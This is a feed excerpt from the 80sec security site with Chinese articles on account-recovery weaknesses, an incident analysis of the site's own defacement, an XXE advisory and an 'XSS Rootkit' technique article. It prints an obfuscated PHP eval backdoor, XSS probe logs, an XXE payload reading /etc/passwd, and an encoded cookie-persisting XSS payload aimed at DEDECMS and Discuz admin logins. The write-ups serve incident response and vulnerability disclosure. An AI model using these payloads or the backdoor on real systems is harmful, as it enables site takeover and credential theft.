几年前测试项目的时候还要检测账户间的权限是否通用，是否可以通过修改用户ID达到权限漂移的效果，拥有自己的账户信息，就等于拥有了全站用户信息这种情况已经绝迹了才是。但最近看了某些电商暴漏出的问题后，感觉自己真的是大错特错了。平行权限也许还好，那些无认证的访问就更让人揪心了呐。

6）极端因素
做为服务商的你，会收回用户的通行证吗，再次注册的肯定不是之前的所有者了吧，因为我们都不知自己的帐号什么时候会被回收。当用户密码取回机制被多次而锁定的时候，拒之门外的是黑客还是真正的用户？修改密码邮箱还要保留旧邮箱的有效性来保障用户安全，是否也帮助了黑客？好吧，我承认这些问题太极端，服务商也会因用户此类需求而动怒吧，就此打住。

7）态度问题
跟某国内知名安全公司的人交流，探讨一些目前风头正足的电子商务公司对待安全的态度。他对很多电商公司的评价可以用“物流”两字概括，内部根本不考虑用户隐私以及自身安全风险，即使考虑，也是由于舆论压力，之后又不了了之。这未必是领导层的无视，多数是由下到上的工作汇报过程中出现了隐瞒。这也正是乌云平台对互联网的目的之一，让厂商看到自己问题的所在，让厂商找到可能存在的巨大安全隐患。安全问题，事实说明一切，而非一己之言。
关于“拖库”问题，服务商究竟是如何面对的呢？应该分为两种，一种是已经确认了自己会员库外泄，但碍于压力与束手无策，采取对用户隐瞒的态度；另一种是对自己会员库外泄情况浑然不知的服务商，还对自己的安全抱有一丝幻想的侥幸心理，太平一天是一天；对于这两者，不论会员库的泄露与否，都应该明白一个问题，最初库掌握在少数人手中，价值连城，随着这份资源的共享与传播复制，慢慢的会贬值甚至廉价出售，直至出现在P2P网络中（也许吧哈哈），这一天到来的时候什么都晚了。通知全体用户修改密码？别傻了，能拿走第一次就能在拿走第二次，问题的本质不在这里。那些还在调查的服务商可以歇歇了，别把精力放在这里，还是仔细想想对策来应对传统认证机制的加强与升级吧。

能最大化保障隐私安全只有一种办法，双方互不信任，以各自的努力共同来完成隐私保护的难题。但从现实情况来看，用户没的选择，只能信任服务商，因为从用户的选择开始，就已经决定了这一切。也就是说，现在互联网用户隐私保护，还是再由服务商起到关键性作用。

所以，你的隐私，谁做主？

0×05 勺之终极奥义
关于前几天80sec被黑事件，剑心已经给出文章进行了详细的分析，其实这对于我们来说也是个好事，安全事件促进安全进步，这不是什么糗事。但平心而论，这次攻击报道的矛头针对80sec来说确实有点不妥，一些公司和个人在事情未公布之前做了很多离谱言论，贻笑大方。因事情源自我，所以还是当事人来说明事情经过比较有依据。

80sec与我的博客同处一服务器，这个博客使用了之前稍重要的一个live邮箱做密码保护，这个live邮箱用了一个年代更为久远的163邮箱做保护，因为时间原因，这里大意了，酿成了惨剧。

攻击者之前做了很多信息收集工作，很幸运找到了我这个年久的163邮箱地址，然后对我帐号进行最大化渗透，虽然我的密码和问题答案不是那么幼稚，但163邮箱保护链造成了一个缺口。当他们想通过密码取回机制搞定我163的时候，他们中了500W，因为我的163邮箱居然被系统回收了！！！然后这些人光明正大的注册了这个邮箱，“理所应当”的重置了live邮箱密码，最后登陆了我的博客进行了后续的80sec渗透，具体情况就可以关注剑心的那篇文章了。

从这个部分，也对自己的帐号链体系出现的漏洞进行了反省：
1）对服务商机制的不了解
163回收用户资源所有权的做法是一直不知道，因为很少用他们的邮箱，但就回收用户资源这块，不是很理解。

2）保护链机制的关联性
自己帐户经常是A保B，B保C，这样一旦出现断层，保护机制会逐步崩溃。

通过这次反省，也对自己的帐户体系进行了一系列的加固与重建。问题发生就是发生了，没有必要做狡辩给自己挽回面子，而且也没感到有什么丢人的，相反，我倒是蛮感谢这么伙不知性别的人，给已经麻木的我上了课。如果有机会，我倒是很想跟他们成为朋友，整个过程思路很清晰，遇到比较棘手的问题也没放弃而是继续寻找突破口，值得欣赏呐～

0×06 结语
文章仓促，涉及的方面有些杂乱，难免有表述不清与错误，望谅解与指正。另外还有一些半成品想法由于还不成熟，暂且不提，有新的研究成果就同步80sec。隐私以及身份认证已经是个被安全压力提到风口浪尖的话题，也是更被用户所关注的。现在，看这篇文章的你，是否有了马上检查自己帐户体系的打算？
在次引用尼采的那句话：当你凝视着深渊，深渊也在凝视着你。

]]> http://www.80sec.com/privacy-risk.html/feed 0 80sec感恩节事件分析 http://www.80sec.com/80sec-attack-defend.html http://www.80sec.com/80sec-attack-defend.html#comments Wed, 30 Nov 2011 04:17:21 +0000 admin http://www.80sec.com/?p=312 EMail: jianxin#80sec.com
Site: http://www.80sec.com
Date: 2011-11-30
From: http://www.80sec.com/

[ 目录 ]
0×00 事件背景
0×01 应急响应
0×02 事件分析
0×03 事件启示
0×04 总结

0×00 事件背景

在感恩节的晚上，我们的站点遭遇了攻击，几名未知性别的黑客成功涂改掉了我们的首页，事情发生后很多朋友对我们被攻击的原因和经过都很关心，各种猜测都有，加上我们后续对于这次攻击的分析结果来看，我们觉得整次攻击和事后应急及分析的过程都适合作为一次典型的案例分析，把整件事情披露出来无论是对我们还是对业界会非常有意义，入侵者给我们在感恩节送了这么好的礼物，我们要好好接受才对：）


0×01 应急响应

事件发生之后的一段时间我们登录到服务器，由于首页替换的时间很短暂，我们甚至没有抓到截图，开始甚至都怀疑是ARP欺骗或者是DNS劫持之类的攻击，但是作为应急响应的箴言之一，我们最好不要相信猜测，一切以日志分析为主，一旦猜测我们从开始就输了。
我们知道在webserver的日志里记录了几乎所有有价值的信息，我们后续的检测必须依赖于日志，所以建议各位日志没开的同学先把日志打开并且保存足够长的时间，在这个有价值的信息里，我们第一个需要找准的就是攻击发生的具体时间点，因为我们是首页被黑并且时间较短，我们迅速stat了下首页文件的内容，发现完全正常没有任何改变：

File: `/home/jianxin/80sec.com/public_html/index.php’
Size: 397 Blocks: 8 IO Block: 4096 regular file
Device: ca00h/51712d Inode: 579843 Links: 1
Access: (0644/-rw-r–r–) Uid: ( 1001/ jianxin) Gid: ( 1001/ jianxin)
Access: 2011-07-13 04:16:57.000000000 +0800
Modify: 2011-07-13 04:16:55.000000000 +0800
Change: 2011-10-14 17:43:32.000000000 +0800

我们知道在linux系统下面的ctime会需要权限较高才能修改，而我们的系统是最新的patch，据我们了解也应该不存在使用未公开的漏洞来攻击我们的可能，毕竟我们只是一个技术站点，难道真的是ARP或者是Dns劫持么？在webserver的log里有一个选项记录了这一次请求所传递的数据量，我们对比了下发现，的确在某个时间首页的数据量有一个显著的减少：

173.234.184.45 – - [24/Nov/2011:20:44:13 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24″
218.213.229.74 – - [24/Nov/2011:20:44:26 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152;

为676字节，而一般的请求大小为

98.142.220.112 – - [25/Nov/2011:00:39:32 +0800] “GET / HTTP/1.1″ 200 31831 “-” “curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15″

31831字节，我们可以确认webserver的确出现了问题，入侵者的确能够控制我们的首页显示，到这里我们基本可以确定攻击时间和攻击的源IP了，当你被黑了的时候，第一个访问那个页面的基本就是攻击者本人，他们会迫不及待的来看攻击成果：）
既然服务器有问题了，那我们来看看今天有什么文件被修改了：

find /home/ -ctime 1

立刻我们就发现了一些好玩的东西：

session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

看来这就是那只后门了，写到了一个全局可写的缓存文件里，而且特意做了隐藏，基本是正常的代码也不触发什么关键字，那么问题在于这么一些可爱的代码是怎么到我的服务器上的呢？这个后门我们发现最早出现的时间并不是在80sec里，而是在同一服务器上一个80sec童鞋的Blog里，最早的时间可以追朔到

218.213.229.74 - - [24/Nov/2011:00:12:56 +0800] "GET /wp-content/wp-cache-config.php HTTP/1.1" 200 308 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2"

ip似乎也比较吻合，那么似乎假设如果没有猜错的话，第一个被攻击的目标应该是这个很勺的80sec童鞋的Blog才对，那么是如何攻击的呢？我们将日志里与这个ip相关的抽取出来

218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /my HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /User_Login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /conf HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /Test HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /houtai HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /user_login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /sys HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /news_admin HTTP/1.1" 404 7978 "-" "-"

攻击很早就发生了，甚至还使用了

218.213.229.74 - - [16/Nov/2011:20:29:10 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:12 +0800] "GET /?s= HTTP/1.0″ 200 8620 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=t>alert(1499328686)%3Bt> HTTP/1.0″ 200 8667 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET / HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p=t>alert(812396909)%3Bt> HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%28990417228%29%3B%22%3E HTTP/1.0″ 200 8586 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s= HTTP/1.0″ 200 8777 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?s= HTTP/1.0″ 200 8816 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?p=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%288013950%29%3B%22%3E HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET / HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”

一个web扫描工具对站点进行了详细的扫描，连一个功能简单的开源blog都不放过，可以猜测对一般的站点每天要遭受多少蹂躏，最后攻击者开始找回密码

218.213.229.74 – - [19/Nov/2011:05:25:39 +0800] “GET /wp-admin/images/button-grad-active.png HTTP/1.1″ 200 575 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:25:40 +0800] “POST /wp-login.php HTTP/1.1″ 200 2155 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:01 +0800] “POST /wp-login.php HTTP/1.1″ 200 2156 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:03 +0800] “GET /wp-login.php?action=lostpassword HTTP/1.1″ 200 1741 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:19 +0800] “POST /wp-login.php?action=lostpassword HTTP/1.1″ 200 2106 “http://sex1986.com/wp-login.php?action=lostpassword” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″

最后，攻击者的确成功的取回了密码，然后通过这个密码进入了后台，后台的功能比较丰富然后上传了后门，在清楚攻击者的手法之后我们很快定位了原因和进行了处理，我们的服务器以较低身份运行，而程序文件权限是以属主身份运行，所以整个web目录不可写，较好的控制了入侵的范围，在对入侵者放置在各个角落里的后门处理之后，我们修改相应密码恢复了站点的运行；

0×02 事件分析

我们讨论一次入侵事件，必须要清楚相应的目的，在恢复站点运行之后，我们分析了入侵者所有的动作，大概可以总结如下这次攻击更像是针对wooyun.org的一次攻击，因为wooyun.org近期的一些事情被迁移到日本的vps，所以这可能是一次长期的持久的渗透攻击，专业点称为APT攻击，但是由于代码逻辑完全不在这台服务器上，所以攻击者失败了。
攻击者在取回邮箱密码的时候手法值得怀疑，尽管整个事件的源头是由于某个很勺的80sec童鞋，这位童鞋虽然很勺，但是绝对不使用弱口令也不会使用生日密码（我们的安全意识不像传闻的那样弱），同时这位悲催的童鞋有两个邮箱，一个邮箱是wordpess的密码找回邮箱！另外一个邮箱同样也是这个wordpress密码邮箱的密码找回邮箱！wordpess和两个邮箱的安全关联层层相扣！未知性别的感恩节攻击者采用读心术控制了我们这位很纯洁的童鞋的最后一个关键邮箱，在没有漏洞的情况下渗透进了服务器，得到了大家上面所看到的结果，很伟大，不是么？
通过一段时间的关联分析，我们发现与这次攻击相关的人都可能遭受到不同程度的牵连，包括曾经在80sec.com上注册的不少用户都通过邮箱找回了密码，而攻击的来源与此次攻击者正好相同，这里最大的问题在于，谁能够同时拥有这么多邮箱，包括163，hotmail以及gmail的密码，我们有理由相信这次攻击与国内很多大型社区的数据库失窃，与传闻的某邮箱数据库失窃有关。
攻击者所使用的后门开始有意识的进行躲避和查杀，如果不是入侵者通过缓存直接修改了首页，那么这次攻击可能隐蔽得更深更长时间，所造成的危害可能更大，对于80sec而言，我们所有的文档和技术都在站点进行分享，并没有安全级别要求较高的数据，所以可能影响不大，但是对于一些包含重要数据的企业和网站而言，同时我们事后发现攻击者所使用的IP是一家站点，很可能该家站点已经被攻陷作为跳板，如何在攻击发生和尝试发生时发现和阻止将是一件很有挑战的事情。

0×03 事件启示

在这件事情里，我们觉得对我们最有意义包括两点，一点是现有互联网认证机制的崩溃，这主要表现在目前的互联网的认证是基于电子邮件的认证，电子邮件在各个企业和互联网公司都被用作标识用户身份，而经过近几年黑客一轮又一轮的洗礼，目前国内互联网企业里含有较大用户基数的站点都可能已经沦陷，而在即使知道自己用户数据库被窃取之后大多数的企业基于自身利益原因还是会保持沉默。黑客在攒积大量的用户密码之后，就可以使得基于账户密码，基于邮箱认证的现有安全认证机制失效，这已经是现有互联网企业的灾难，请想想你们企业内部邮箱是否对外，以及邮箱是否是静态密码，如果邮箱是内部，那么VPN呢，而这种安全机制的失效又称为攻击者攒积新的数据库的基础，形成一个巨大的黑色雪球，彻底瓦解互联网安全。
另外一部分是关于apt攻击的，理论上我们只要有一个目标，基本是没有攻破不了的，特别是对于大企业而言，架构的改动，IDC的扩充，企业并购和投资都可能为你的安全体系引入新的风险，如何在一个动态的环境下建设一个较为完善的安全体系，这将是安全人员面临的一个巨大挑战，因为从这一次时间里就可以看到，我们并没有因为是存在什么实际的漏洞而导致被入侵。

0×04 总结

在80sec出现问题之后，不少人猜测是漏洞还是什么原因遭受攻击，有人怀疑是安全意识问题，也有一些安全厂商询问是否可以通过WAF或者其他的安全产品来避免此次安全事件，不过在事件披露之后，相信大家应该很清楚能否通过现有产品来避免此类的攻击行为，我们的安全概念需要更新了，不只是漏洞也不只是安全意识了，包括安全的理解，对攻击的理解都需要有一个全新的认识了，最后欢迎微博上某位产品安全厂商开发出能够保护我们的安全产品，也欢迎攻击者可以联系到我们看看我们的整个过程的分析是否正确

]]> http://www.80sec.com/80sec-attack-defend.html/feed 0 XML实体注入漏洞安全警告 http://www.80sec.com/xml-entity-injection.html http://www.80sec.com/xml-entity-injection.html#comments Tue, 01 Nov 2011 04:13:11 +0000 admin http://www.80sec.com/?p=304 <!DOCTYPE copyright [ <!ELEMENT copyright (#PCDATA)> <!ENTITY hi80sec SYSTEM "http://www.wooyun.org/"> ]> <wooyun version="2.0"> <whitehats> &hi80sec; is a legend </whitehats> </wooyun> 这将使得xml解析器以当前上下文的环境引用外部的资源www.wooyun.org作为hi80sec实体的内容，从而在实际的应用上下文里将该部分数据引入逻辑流程进行处理。同样，我们可以使用 file:///etc/passwd file://localhost/etc/password 进行访问本地文件系统的操作。 不同的解析器可能默认对于外部实体会有不同的处理规则，以PHP语言为例，默认处理xml的方法就包括： xml_parse 和 simplexml_load 两种不同的方法，这两种不同的方法在底层完全采取不同的底层逻辑实现，xml_parse的实现方式为expat库，而simplexml_load使用的是libxml库，两个底层库在解析的时候细节并不一样，expat默认对外部实体并不解析，而simplexml_load默认情况下会解析外部实体等，所以simplexml_load和DOM等函数会受此问题影响，而xml_parse则默认不会受到影响。 我们不止在PHP，在包括Java，Python等处理xml的外部组件及函数中都证明可能存在此问题，而且已经在一些互联网公司的应用及一些使用广泛的开源软件中都发现存在问题。 漏洞证明：我们将在WooYun漏洞报告平台上提交我们发现的已经被证明的安全漏洞 解决方案：检查所使用的底层xml解析库，默认禁止外部实体的解析，同时增强对系统的监控，防止此问题被人利用；我们将在WooYun漏洞报告平台上发布可能受影响的，请及时关注；]]> 漏洞介绍：可扩展标记语言 (Extensible Markup Language, XML) ，用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。 XML是标准通用标记语言 (SGML) 的子集，非常适合 Web 传输。XML 提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。80sec发现目前一些普遍使用xml的场景中都存在一种古老的XML实体注入漏洞，这可能导致较为严重的安全问题，使得攻击者可能可以任意访问服务器以及应用所在网络的任何资源；

漏洞分析：XML作为一种使用较为广泛的数据传输格式，在语言内部允许引用外部资源来作为语言的补充，譬如


<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE copyright [
<!ELEMENT copyright (#PCDATA)>
<!ENTITY hi80sec SYSTEM "http://www.wooyun.org/">
]>
<wooyun version="2.0">
<whitehats>
&hi80sec; is a legend
</whitehats>
</wooyun>

这将使得xml解析器以当前上下文的环境引用外部的资源www.wooyun.org作为hi80sec实体的内容，从而在实际的应用上下文里将该部分数据引入逻辑流程进行处理。同样，我们可以使用

file:///etc/passwd
file://localhost/etc/password

进行访问本地文件系统的操作。

不同的解析器可能默认对于外部实体会有不同的处理规则，以PHP语言为例，默认处理xml的方法就包括：

xml_parse
和
simplexml_load

两种不同的方法，这两种不同的方法在底层完全采取不同的底层逻辑实现，xml_parse的实现方式为expat库，而simplexml_load使用的是libxml库，两个底层库在解析的时候细节并不一样，expat默认对外部实体并不解析，而simplexml_load默认情况下会解析外部实体等，所以simplexml_load和DOM等函数会受此问题影响，而xml_parse则默认不会受到影响。
我们不止在PHP，在包括Java，Python等处理xml的外部组件及函数中都证明可能存在此问题，而且已经在一些互联网公司的应用及一些使用广泛的开源软件中都发现存在问题。

漏洞证明：我们将在WooYun漏洞报告平台上提交我们发现的已经被证明的安全漏洞

解决方案：检查所使用的底层xml解析库，默认禁止外部实体的解析，同时增强对系统的监控，防止此问题被人利用；我们将在WooYun漏洞报告平台上发布可能受影响的，请及时关注；

]]> http://www.80sec.com/xml-entity-injection.html/feed 0 深掘XSS漏洞场景之XSS Rootkit http://www.80sec.com/%e6%b7%b1%e6%8e%98xss%e6%bc%8f%e6%b4%9e%e5%9c%ba%e6%99%af%e4%b9%8bxss-rootkit-%e4%bf%ae%e8%ae%a2.html http://www.80sec.com/%e6%b7%b1%e6%8e%98xss%e6%bc%8f%e6%b4%9e%e5%9c%ba%e6%99%af%e4%b9%8bxss-rootkit-%e4%bf%ae%e8%ae%a2.html#comments Sat, 15 Oct 2011 15:31:32 +0000 admin http://www.80sec.com/?p=293 $_v) ${$_k} = $_v; } ?> ＜a href=”＜? echo $_SERVER["PHP_SELF"]; ?>?i=＜? echo $id;?>”>分页＜/a> ——————————————————————— 这段PHP代码中模拟register_globals是Web程序中常见的，代码中输出了网页的分页链接这个也是常见的，因为忽略了对传入数据的效验，更产生了最常见的XSS漏洞。 下面是这个XSS漏洞的验证方法： http://127.0.0.1/demo.php?id=1″>＜script>alert(1)＜/script> GET方法在id参数中传入HTML内容，导致网页内容中的herf闭合，执行script标签里的脚本内容： ＜a href=”/demo.php?id=1″>＜script>alert(1)＜/script>”>分页＜/a> [...]]]> 深掘XSS漏洞场景之XSS Rootkit[完整修订版]

EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2011-10-15

0×00 前言

众所周知XSS漏洞的风险定义一直比较模糊，XSS漏洞属于高危漏洞还是低风险漏洞一直以来都有所争议。XSS漏洞类型主要分为持久型和非持久型两种：

1. 非持久型XSS漏洞一般存在于URL参数中，需要访问黑客构造好的特定URL才能触发漏洞。

2. 持久型XSS漏洞一般存在于富文本等交互功能，如发帖留言等，黑客使用的XSS内容经正常功能进入数据库持久保存。

3. DOM XSS漏洞，也分为持久和非持久型两种，多是通过javascript DOM接口获取地址栏、referer或编码指定HTML标签内容造成。

4. FLASH,PDF等其他第三方文件所造成的特殊XSS漏洞，同样按应用功能也分为持久和非持久型。

一般持久型XSS漏洞比非持久型XSS漏洞风险等级高，从漏洞的本质上来说这是没错的，但漏洞的利用仍然需要看场景，有时候更深入的看待场景能够挖掘出意想不到的东西，大家接着往下看。

0×01 漏洞场景解析

首先我给出一段PHP分页的XSS漏洞的简单代码：

demo.php————————————————————-
＜?php
foreach(Array(‘_GET’,'_POST’,'_cookie’) as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = $_v;
}
?>

＜a href=”＜? echo $_SERVER["PHP_SELF"]; ?>?i=＜? echo $id;?>”>分页＜/a>
———————————————————————

这段PHP代码中模拟register_globals是Web程序中常见的，代码中输出了网页的分页链接这个也是常见的，因为忽略了对传入数据的效验，更产生了最常见的XSS漏洞。

下面是这个XSS漏洞的验证方法：
http://127.0.0.1/demo.php?id=1″>＜script>alert(1)＜/script>

GET方法在id参数中传入HTML内容，导致网页内容中的herf闭合，执行script标签里的脚本内容：

＜a href=”/demo.php?id=1″>＜script>alert(1)＜/script>”>分页＜/a>

这是一个典型的非持久型XSS漏洞，在常规的思维逻辑下，这个漏洞到这里基本就打止了，本文也马上要变为普通的科普文了，然而事实并没有那么简单，这个漏洞场景再深入挖掘，就牵出了本文的重头戏。

0×02 XSS Rootkit实现方法

我们知道操作系统有Rootkit这样的内核后门，Rootkit最大的特性之一就是隐蔽，普通的安全软件无法检测出系统中运作着Rootkit，以保证Rootkit后门能长久存活于系统中，而Web程序的漏洞很难达到这一效果，而我发现某些特定场景的XSS漏洞能够达到这一效果。

现今流行的PHP Web程序的都喜欢自己模拟register_globals（全局变量注册）这一特性，通过GET、POST、cookie等方法注册变量（本文下面的内容都简称GPC），通过GPC直接注册变量方便整个程序的运作，而本文的重点即是围绕这一点来展开的。

第一部分的我模拟的XSS漏洞即是一个典型的全局变量注册的场景，demo.php不仅可以GET传参，还能接受cookie传参，变量注册顺序是GPC，由于注册变量的流程是一个foreach循环，所以通过GP注册变量最后能被C覆盖，而cookie是客户端浏览器的持久化数据，如果通过XSS漏洞设置cookie，我们完全可以把这个典型的非持久型XSS漏洞变成持久的，说到这里大家一定感觉非常兴奋了，我就来实际测试一下：

先写出一段设置cookie的javascript代码

Persistence_data=’”>＜script>alert(/xss/)＜/script>’;
var date=new Date();
var expireDays=365; //设置cookie一年后失效
date.setTime(date.getTime()+expireDays*24*3600*1000);
document.cookie=’id=’+Persistence_data+’;expires=’+date.toGMTString(); //设置cookie的id参数值为XSS代码

把设置cookie的javascript代码编码一次，放入XSS URL中，这样防止魔术引号和不同浏览器编码的未知情况影响我们的测试，关闭IE8/9等XSS筛选器后，我们访问下面的URL让XSS生效。

http://127.0.0.1/demo.php?id=1″>＜script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,
34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,
115,47,41,60,47,115,99,114,105,112,116,62,39,59,13,10,118,97,114,32,
100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,
114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,13,10,100,
97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,
116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,
52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,
116,46,99,111,111,107,105,101,61,39,105,100,61,39,43,80,101,114,115,105,
115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,
115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59))＜/script>

结果令人非常满意，当我们关闭浏览器乃至关闭重启电脑后，再重新访问下面的网页：

无论是访问http://127.0.0.1/demo.php

还是访问http://127.0.0.1/demo.php?id=1

我们的XSS代码都会生效，同时如果客户端未清理cookie，这个XSS漏洞将有效一年的时间，达到了Rootkit隐蔽和能够持久存活的效果。

0×03 XSS Rootkit实战

DEDECMS后台登陆主页的模板中有个gotopage变量存在XSS漏洞，代码如下：

dede\templets\login.htm

65行左右

＜input type=”hidden” name=”gotopage” value=”＜?php if(!empty($gotopage)) echo $gotopage;?>” />

DEDECMS核心代码中，模拟全局变量注册机制的顺序是GPC，也就是C能够覆盖GP所注册的变量。

我们再套用0X02的代码测试，可以在cookie中持久化保存gotopage变量，如果管理员触发过我们的XSS漏洞，我们就能在管理员的cookie中持久化保存gotopage变量，将gotopage隐藏表单值变为我们的任意脚本内容，以后管理员只要是访问后台页面都会触发XSS漏洞，我们完全可以劫持管理员的整个登陆过程，悄无声息的直接获取管理员的密码。

当然DEDECMS这个漏洞的如何灵活运用更取决于黑客的发散思维，比如IE8/9等会拦截URL XSS，我们可以利用一个持久型的XSS或DOM XSS做为这类XSS Rootkit漏洞的payload,另外cookie的设置不限于同源策略,在任意子域名设置的cookie，可以让整个域名的应用都接受这个cookie,黑客可以脱离于DEDECMS程序本身的限制,在整个网站架构上的薄弱点攻击DEDECMS的后台。

0×04 深入XSS Rootkit场景

在PHP全局变量注册机制的场景下，调整GPC的注册变量的顺序可以减弱XSS Rootkit攻击效果，如discuz程序：

foreach(array(‘_COOKIE’, ‘_POST’, ‘_GET’) as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != ‘_’ && $$_key = daddslashes($_value);
}
}

注册变量的顺序是CPG，我们的C始终都不能覆盖GP所注册过的变量，不过程序的某个流程导致变量未初始化，还是能产生XSS Rootkit效果，如

http://xx.163.com/logging.php?action=logout&referer=javascript:alert()&formhash=rootkit

在DISCUZ程序的退出代码存在一个XSS漏洞，在用户没有登陆的情况下，退出代码中的referer变量没有初始化，导致我们能任意控制这个变量。

